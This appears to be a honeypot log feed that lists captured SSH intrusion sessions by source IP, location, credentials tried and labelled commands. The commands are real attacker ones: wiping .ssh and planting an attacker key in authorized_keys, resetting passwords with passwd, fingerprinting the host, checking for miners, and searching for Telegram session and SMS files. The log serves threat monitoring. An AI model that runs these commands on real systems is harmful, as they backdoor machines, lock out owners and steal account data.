$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "mysql@123\nDbyxoFCXCoj0\nDbyxoFCXCoj0"|passwd|bash
$ Enter new UNIX password:
$ echo "mysql@123\nDbyxoFCXCoj0\nDbyxoFCXCoj0\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 cipher_root_56 (103.89.94.39) β€” QuαΊ­n Mα»™t, Vietnam Β· 1 session Β· 20 cmds
2026-04-09 02:48 EDT Β· as mysql/mysql@123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "mysql@123\nPfiEBsPh0tEo\nPfiEBsPh0tEo"|passwd|bash
$ Enter new UNIX password:
$ echo "mysql@123\nPfiEBsPh0tEo\nPfiEBsPh0tEo\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 liberty_root_13 (15.204.249.142) β€” Reston, United States Β· 1 session Β· 20 cmds
2026-04-09 02:48 EDT Β· as mysql/mysql@123
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" β†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "mysql@123\n3oLWbEDU2AN8\n3oLWbEDU2AN8"|passwd|bash
$ Enter new UNIX password:
$ echo "mysql@123\n3oLWbEDU2AN8\n3oLWbEDU2AN8\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 star_root_12 (38.114.121.110) β€” Chicago, United States Β· 1 session Β· 20 cmds
2026-04-09 02:46 EDT Β· as mysql/mysql@123
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "ssh-rsa..." β†’ cat /proc/cpuinfo | grep name | wc -l β†’ echo -e "mysql@123\n..."|passwd|bash β†’ Enter new UNIX password: β†’ echo "mysql@123\n
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "mysql@123\nb7949hCdaCDb\nb7949hCdaCDb"|passwd|bash
$ Enter new UNIX password:
$ echo "mysql@123\nb7949hCdaCDb\nb7949hCdaCDb\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 lantern_root_21 (221.213.129.46) β€” Kunming, China Β· 1 session Β· 2 cmds
2026-04-09 02:38 EDT Β· as oracle/oRACLE
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 meatball_root (171.25.158.54) β€” Vaxjo, Sweden Β· 2 sessions Β· 2 cmds
2026-04-08 07:23 EDT Β· as oracle/1qaz@WSX, oracle/oracle1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 panda_root_17 (139.170.141.213) β€” Xining, China Β· 1 session Β· 1 cmd
2026-04-08 20:10 EDT Β· as oracle/1qaz@WSX
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 cipher_root_57 (155.102.201.82) β€” Bangkok, Thailand Β· 1 session Β· 1 cmd
2026-04-08 18:16 EDT Β· as root/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 specter_sol_5 (157.66.26.151) β€” Go Vap, Vietnam Β· 1 session Β· 20 cmds
2026-04-08 13:36 EDT Β· as sol/123
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7Vv" β†’ cat /proc/cpuinfo | grep name | wc
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "123\n0hbcMYWCfxmQ\n0hbcMYWCfxmQ"|passwd|bash
$ Enter new UNIX password:
$ echo "123\n0hbcMYWCfxmQ\n0hbcMYWCfxmQ\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 jade_root_13 (119.166.199.17) β€” Qingdao, China Β· 1 session Β· 9 cmds
2026-04-08 12:21 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 seoul_root_8 (125.141.84.135) β€” Gwanak-gu, South Korea Β· 2 sessions Β· 8 cmds
2026-03-21 06:19 EDT Β· as admin/admin, root/root
sh β†’ shell β†’ enable β†’ cat
$ sh Γ—2
$ shell Γ—2
$ enable Γ—2
$ cat /bin/echo||while read i; do echo $i; done < /proc/self/exe; Γ—2
🎭 cipher_root_58 (23.97.62.113) β€” Singapore, Singapore Β· 5 sessions Β· 5 cmds
2026-03-26 05:03 EDT Β· as root/1234, root/123456, root/12345678
netstat β†’ history snooping β†’ lscpu β†’ OS/kernel identification β†’ hostname discovery
$ netstat -tulpn | head -10
$ history | tail -5
↳ history snooping
$ lscpu | grep 'Architecture' | head -1
$ uname -a
↳ OS/kernel identification
$ hostname
↳ hostname discovery
🎭 fog_root_9 (82.153.157.222) β€” London, United Kingdom Β· 1 session Β· 2 cmds
2026-04-08 11:47 EDT Β· as oracle/oracle6
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 ghost_root_63 (152.200.181.42) β€” BelΓ©n, Colombia Β· 1 session Β· 2 cmds
2026-04-08 10:54 EDT Β· as oracle/oracle123!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 bonsai_root_2 (152.32.144.167) β€” Tokyo, Japan Β· 1 session Β· 2 cmds
2026-04-08 10:45 EDT Β· as oracle/oracle123!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 pretzel_root_7 (164.92.160.160) β€” Frankfurt am Main, Germany Β· 1 session Β· 2 cmds
2026-04-08 10:31 EDT Β· as oracle/oracle17!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 shadow_root_38 (207.46.224.81) β€” Singapore, Singapore Β· 5 sessions Β· 5 cmds
2026-04-08 02:57 EDT Β· as root/1234, root/123456, root/12345678
grep β†’ netstat β†’ OS/kernel identification β†’ history snooping
$ grep 'model name' /proc/cpuinfo 2>/dev/null | head -1 | cut -d ':' -f2- | sed 's/^ *//' | xargs || echo unknown Γ—2
$ netstat -tulpn | head -10
$ uname -a
↳ OS/kernel identification
$ history | tail -5
↳ history snooping
🎭 autobahn_root_13 (94.249.167.63) β€” Frankfurt am Main, Germany Β· 2 sessions Β· 2 cmds
2026-04-08 05:03 EDT Β· as root/root
OS/kernel identification β†’ ssh
$ uname -a
↳ OS/kernel identification
$ ssh -V
🎭 specter_root_15 (165.154.1.18) β€” Hong Kong, Hong Kong Β· 2 sessions Β· 4 cmds
2026-03-23 00:30 EDT Β· as oracle/Admin123, oracle/Oracle1@
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
🎭 dragon_root_16 (116.177.172.64) β€” Jinrongjie, China Β· 3 sessions Β· 3 cmds
2026-04-07 00:25 EDT Β· as oracle/Aa123456, oracle/oracle@123, root/12345678
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—3
↳ OS/kernel identification
🎭 wok_root_25 (117.62.235.154) β€” Nanjing, China Β· 1 session Β· 1 cmd
2026-04-08 00:06 EDT Β· as root/password
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -m
🎭 cipher_root_9 (103.77.215.165) β€” Hanoi, Vietnam Β· 19 sessions Β· 19 cmds
2026-04-07 17:52 EDT Β· as admin/123456, admin/admin123, mysql/mysql
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -s -v -n -r -m Γ—19
🎭 fjord_root_3 (89.160.28.32) β€” Axvall, Sweden Β· 1 session Β· 9 cmds
2026-04-07 23:41 EDT Β· as root/root
network mapping β†’ OS/kernel identification β†’ CPU profiling
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 wraith_root_41 (186.31.95.163) β€” BogotΓ‘, Colombia Β· 1 session Β· 2 cmds
2026-04-07 23:11 EDT Β· as oracle/oracle123!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 eagle_root_15 (98.26.115.52) β€” Raleigh, United States Β· 1 session Β· 2 cmds
2026-04-07 22:00 EDT Β· as oracle/oracle21
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 shadow_root_39 (112.118.57.75) β€” Central, Hong Kong Β· 1 session Β· 9 cmds
2026-04-07 21:11 EDT Β· as root/root
/root root login β†’ /ip cloud print β†’ ifconfig β†’ uname -a β†’ cat /proc/cpuinfo β†’ ps | grep '[Mm]iner' β†’ ps -ef | grep '[Mm]iner' β†’ ls -la ~/.local/share/TelegramDesktop/tdata /home//.local/share/TelegramDesktop/tdata /dev/ttyGSM β†’ locate D877F7
$ /ip cloud print
$ ifconfig
↳ network mapping
$ uname -a
↳ OS/kernel identification
$ cat /proc/cpuinfo
↳ CPU profiling
$ ps | grep '[Mm]iner'
$ ps -ef | grep '[Mm]iner'
$ ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*
$ locate D877F783D5D3EF8Cs
$ echo Hi | cat -n
🎭 ghost_root_64 (123.58.219.234) β€” Hong Kong, Hong Kong Β· 3 sessions Β· 6 cmds
2026-04-07 19:49 EDT Β· as oracle/ORACLE, oracle/Oracle28!, oracle/oracle#123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—3
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—3
↳ SSH key persistence
🎭 batik_root (202.165.29.123) β€” Kuala Lumpur, Malaysia Β· 3 sessions Β· 6 cmds
2026-04-07 19:58 EDT Β· as oracle/ORACLE, oracle/Oracle28!, oracle/oracle#123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—3
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—3
↳ SSH key persistence
🎭 blitz_root_11 (64.188.119.33) β€” Frankfurt am Main, Germany Β· 3 sessions Β· 6 cmds
2026-04-07 19:33 EDT Β· as oracle/ORACLE, oracle/Oracle28!, oracle/oracle#123
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—3
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—3
↳ SSH key persistence
🎭 cipher_root_4 (27.111.32.174) β€” Jakarta, Indonesia Β· 4 sessions Β· 8 cmds
2026-04-03 11:19 EDT Β· as oracle/ORACLE, oracle/Oracle2026!@#, oracle/Oracle28!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—4
↳ file attribute tampering
